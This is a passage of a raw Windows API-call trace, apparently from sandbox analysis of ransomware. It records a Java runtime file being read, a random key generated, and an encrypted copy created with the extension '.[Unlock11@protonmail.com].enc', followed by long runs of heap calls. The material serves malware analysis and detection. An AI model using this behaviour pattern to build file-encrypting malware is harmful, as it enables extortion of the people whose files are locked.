[0132.132] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 1 [0132.133] GetCurrentThreadId () returned 0x9b0 [0132.134] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", lpFilePart=0x9bada4*="meta-index") returned 0x35 [0132.134] GetCurrentThreadId () returned 0x9b0 [0132.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0132.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0132.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0132.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0132.134] GetCurrentThreadId () returned 0x9b0 [0132.134] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x9bada4*="nashorn.jar") returned 0x36 [0132.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0132.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0132.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0132.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5dc0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.135] GetCurrentThreadId () returned 0x9b0 [0132.136] GetCurrentThreadId () returned 0x9b0 [0132.136] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e)) returned 1 [0132.136] GetCurrentThreadId () returned 0x9b0 [0132.136] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d264 | out: pbBuffer=0x366d264) returned 1 [0132.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0132.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0132.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0132.136] GetCurrentThreadId () returned 0x9b0 [0132.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5d20 [0132.137] GetCurrentThreadId () returned 0x9b0 [0132.137] GetCurrentThreadId () returned 0x9b0 [0132.137] GetCurrentThreadId () returned 0x9b0 [0132.137] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0132.137] GetFileType (hFile=0x39c) returned 0x1 [0132.137] GetCurrentThreadId () returned 0x9b0 [0132.137] GetFileType (hFile=0x39c) returned 0x1 [0132.138] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.138] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.138] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.138] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.138] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.138] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.138] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.138] GetLastError () returned 0x0 [0132.138] GetCurrentThreadId () returned 0x9b0 [0132.138] GetLastError () returned 0x0 [0132.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0132.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0132.139] GetLastError () returned 0x0 [0132.139] GetLastError () returned 0x0 [0132.139] GetLastError () returned 0x0 [0132.139] GetLastError () returned 0x0 [0132.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d63e8 [0132.139] GetLastError () returned 0x0 [0132.139] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0132.140] GetFileType (hFile=0x3ac) returned 0x1 [0132.140] GetLastError () returned 0x0 [0132.140] GetCurrentThreadId () returned 0x9b0 [0132.140] GetLastError () returned 0x0 [0132.140] GetFileType (hFile=0x3ac) returned 0x1 [0132.140] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0132.140] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.140] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.140] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.140] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.140] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0132.140] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0132.141] GetLastError () returned 0x0 [0132.141] GetCurrentThreadId () returned 0x9b0 [0132.141] GetLastError () returned 0x0 [0132.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63e8 | out: hHeap=0x2ad0000) returned 1 [0132.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0132.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0132.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0132.141] GetLastError () returned 0x0 [0132.141] GetLastError () returned 0x0 [0132.141] GetCurrentThreadId () returned 0x9b0 [0132.141] GetLastError () returned 0x0 [0132.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0132.142] GetLastError () returned 0x0 [0132.142] GetLastError () returned 0x0 [0132.142] GetCurrentThreadId () returned 0x9b0 [0132.142] GetLastError () returned 0x0 [0132.142] GetLastError () returned 0x0 [0132.144] GetLastError () returned 0x0 [0132.144] GetCurrentThreadId () returned 0x9b0 [0132.144] GetLastError () returned 0x0 [0132.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6428 | out: hHeap=0x2ad0000) returned 1 [0132.144] GetCurrentThreadId () returned 0x9b0 [0132.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.145] GetLastError () returned 0x0 [0132.145] GetLastError () returned 0x0 [0132.145] GetLastError () returned 0x0 [0132.145] GetLastError () returned 0x0 [0132.145] GetCurrentThreadId () returned 0x9b0 [0132.146] GetLastError () returned 0x0 [0132.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.146] GetLastError () returned 0x0 [0132.148] GetLastError () returned 0x0 [0132.148] GetCurrentThreadId () returned 0x9b0 [0132.148] GetLastError () returned 0x0 [0132.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.148] GetLastError () returned 0x0 [0132.148] GetLastError () returned 0x0 [0132.149] GetCurrentThreadId () returned 0x9b0 [0132.149] GetLastError () returned 0x0 [0132.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63e8 [0132.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.149] GetCurrentThreadId () returned 0x9b0 [0132.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.150] GetLastError () returned 0x0 [0132.150] GetLastError () returned 0x0 [0132.150] GetLastError () returned 0x0 [0132.150] GetLastError () returned 0x0 [0132.150] GetCurrentThreadId () returned 0x9b0 [0132.150] GetLastError () returned 0x0 [0132.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0132.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0132.151] GetLastError () returned 0x0 [0132.152] GetLastError () returned 0x0 [0132.152] GetCurrentThreadId () returned 0x9b0 [0132.152] GetLastError () returned 0x0 [0132.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.152] GetLastError () returned 0x0 [0132.152] GetLastError () returned 0x0 [0132.154] GetCurrentThreadId () returned 0x9b0 [0132.154] GetLastError () returned 0x0 [0132.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63f8 [0132.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63e8 | out: hHeap=0x2ad0000) returned 1 [0132.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.154] GetCurrentThreadId () returned 0x9b0 [0132.154] GetLastError () returned 0x0 [0132.155] GetLastError () returned 0x0 [0132.155] GetLastError () returned 0x0 [0132.155] GetLastError () returned 0x0 [0132.155] GetCurrentThreadId () returned 0x9b0 [0132.155] GetLastError () returned 0x0 [0132.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0132.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0132.155] GetLastError () returned 0x0 [0132.156] GetLastError () returned 0x0 [0132.157] GetCurrentThreadId () returned 0x9b0 [0132.157] GetLastError () returned 0x0 [0132.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.157] GetLastError () returned 0x0 [0132.158] GetLastError () returned 0x0 [0132.158] GetCurrentThreadId () returned 0x9b0 [0132.158] GetLastError () returned 0x0 [0132.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6398 [0132.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0132.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.159] GetCurrentThreadId () returned 0x9b0 [0132.159] GetLastError () returned 0x0 [0132.159] GetLastError () returned 0x0 [0132.159] GetLastError () returned 0x0 [0132.159] GetLastError () returned 0x0 [0132.159] GetCurrentThreadId () returned 0x9b0 [0132.160] GetLastError () returned 0x0 [0132.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.160] GetLastError () returned 0x0 [0132.161] GetLastError () returned 0x0 [0132.161] GetCurrentThreadId () returned 0x9b0 [0132.161] GetLastError () returned 0x0 [0132.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.161] GetLastError () returned 0x0 [0132.162] GetLastError () returned 0x0 [0132.163] GetCurrentThreadId () returned 0x9b0 [0132.163] GetLastError () returned 0x0 [0132.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63c8 [0132.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6398 | out: hHeap=0x2ad0000) returned 1 [0132.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.164] GetCurrentThreadId () returned 0x9b0 [0132.164] GetLastError () returned 0x0 [0132.164] GetLastError () returned 0x0 [0132.164] GetLastError () returned 0x0 [0132.164] GetLastError () returned 0x0 [0132.164] GetCurrentThreadId () returned 0x9b0 [0132.164] GetLastError () returned 0x0 [0132.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.165] GetLastError () returned 0x0 [0132.166] GetLastError () returned 0x0 [0132.166] GetCurrentThreadId () returned 0x9b0 [0132.166] GetLastError () returned 0x0 [0132.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.167] GetLastError () returned 0x0 [0132.167] GetLastError () returned 0x0 [0132.168] GetCurrentThreadId () returned 0x9b0 [0132.168] GetLastError () returned 0x0 [0132.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6488 [0132.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63c8 | out: hHeap=0x2ad0000) returned 1 [0132.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.168] GetCurrentThreadId () returned 0x9b0 [0132.168] GetLastError () returned 0x0 [0132.169] GetLastError () returned 0x0 [0132.169] GetLastError () returned 0x0 [0132.169] GetLastError () returned 0x0 [0132.169] GetCurrentThreadId () returned 0x9b0 [0132.169] GetLastError () returned 0x0 [0132.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0132.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0132.170] GetLastError () returned 0x0 [0132.170] GetLastError () returned 0x0 [0132.171] GetCurrentThreadId () returned 0x9b0 [0132.171] GetLastError () returned 0x0 [0132.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.171] GetLastError () returned 0x0 [0132.171] GetLastError () returned 0x0 [0132.171] GetCurrentThreadId () returned 0x9b0 [0132.171] GetLastError () returned 0x0 [0132.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6418 [0132.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6488 | out: hHeap=0x2ad0000) returned 1 [0132.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.172] GetCurrentThreadId () returned 0x9b0 [0132.172] GetLastError () returned 0x0 [0132.172] GetLastError () returned 0x0 [0132.172] GetLastError () returned 0x0 [0132.172] GetLastError () returned 0x0 [0132.172] GetCurrentThreadId () returned 0x9b0 [0132.172] GetLastError () returned 0x0 [0132.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.173] GetLastError () returned 0x0 [0132.174] GetLastError () returned 0x0 [0132.174] GetCurrentThreadId () returned 0x9b0 [0132.174] GetLastError () returned 0x0 [0132.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.174] GetLastError () returned 0x0 [0132.175] GetLastError () returned 0x0 [0132.175] GetCurrentThreadId () returned 0x9b0 [0132.175] GetLastError () returned 0x0 [0132.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6408 [0132.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6418 | out: hHeap=0x2ad0000) returned 1 [0132.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.176] GetCurrentThreadId () returned 0x9b0 [0132.177] GetLastError () returned 0x0 [0132.177] GetLastError () returned 0x0 [0132.177] GetLastError () returned 0x0 [0132.177] GetLastError () returned 0x0 [0132.177] GetCurrentThreadId () returned 0x9b0 [0132.177] GetLastError () returned 0x0 [0132.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0132.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0132.178] GetLastError () returned 0x0 [0132.179] GetLastError () returned 0x0 [0132.179] GetCurrentThreadId () returned 0x9b0 [0132.179] GetLastError () returned 0x0 [0132.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.179] GetLastError () returned 0x0 [0132.179] GetLastError () returned 0x0 [0132.179] GetCurrentThreadId () returned 0x9b0 [0132.179] GetLastError () returned 0x0 [0132.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6568 [0132.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6408 | out: hHeap=0x2ad0000) returned 1 [0132.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.180] GetLastError () returned 0x0 [0132.180] GetLastError () returned 0x0 [0132.180] GetLastError () returned 0x0 [0132.180] GetLastError () returned 0x0 [0132.181] GetCurrentThreadId () returned 0x9b0 [0132.181] GetLastError () returned 0x0 [0132.181] GetCurrentThreadId () returned 0x9b0 [0132.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0132.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0132.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0132.181] GetLastError () returned 0x0 [0132.183] GetLastError () returned 0x0 [0132.183] GetCurrentThreadId () returned 0x9b0 [0132.183] GetLastError () returned 0x0 [0132.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.183] GetLastError () returned 0x0 [0132.183] GetLastError () returned 0x0 [0132.184] GetCurrentThreadId () returned 0x9b0 [0132.184] GetLastError () returned 0x0 [0132.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64b8 [0132.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6568 | out: hHeap=0x2ad0000) returned 1 [0132.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0132.185] GetLastError () returned 0x0 [0132.185] GetLastError () returned 0x0 [0132.185] GetLastError () returned 0x0 [0132.185] GetLastError () returned 0x0 [0132.185] GetCurrentThreadId () returned 0x9b0 [0132.185] GetLastError () returned 0x0 [0132.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0132.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0132.187] GetLastError () returned 0x0 [0132.188] GetLastError () returned 0x0 [0132.188] GetCurrentThreadId () returned 0x9b0 [0132.188] GetLastError () returned 0x0 [0132.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.188] GetCurrentThreadId () returned 0x9b0 [0132.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0132.188] GetLastError () returned 0x0 [0132.188] GetLastError () returned 0x0 [0132.188] GetCurrentThreadId () returned 0x9b0 [0132.188] GetLastError () returned 0x0 [0132.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6558 [0132.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0132.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0132.189] GetLastError () returned 0x0 [0132.189] GetLastError () returned 0x0 [0132.189] GetLastError () returned 0x0 [0132.189] GetLastError () returned 0x0 [0132.190] GetCurrentThreadId () returned 0x9b0 [0132.190] GetLastError () returned 0x0 [0132.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0132.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0132.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0132.190] GetLastError () returned 0x0 [0132.191] GetLastError () returned 0x0 [0132.191] GetCurrentThreadId () returned 0x9b0 [0132.191] GetLastError () returned 0x0 [0132.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0132.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0132.191] GetLastError () returned 0x0 [0132.192] GetLastError () returned 0x0 [0132.193] GetCurrentThreadId () returned 0x9b0 [0132.193] GetLastError () returned 0x0 [0132.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0132.193] GetCurrentThreadId () returned 0x9b0 [0132.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64c8 [0132.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6558 | out: hHeap=0x2ad0000) returned 1 [0132.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 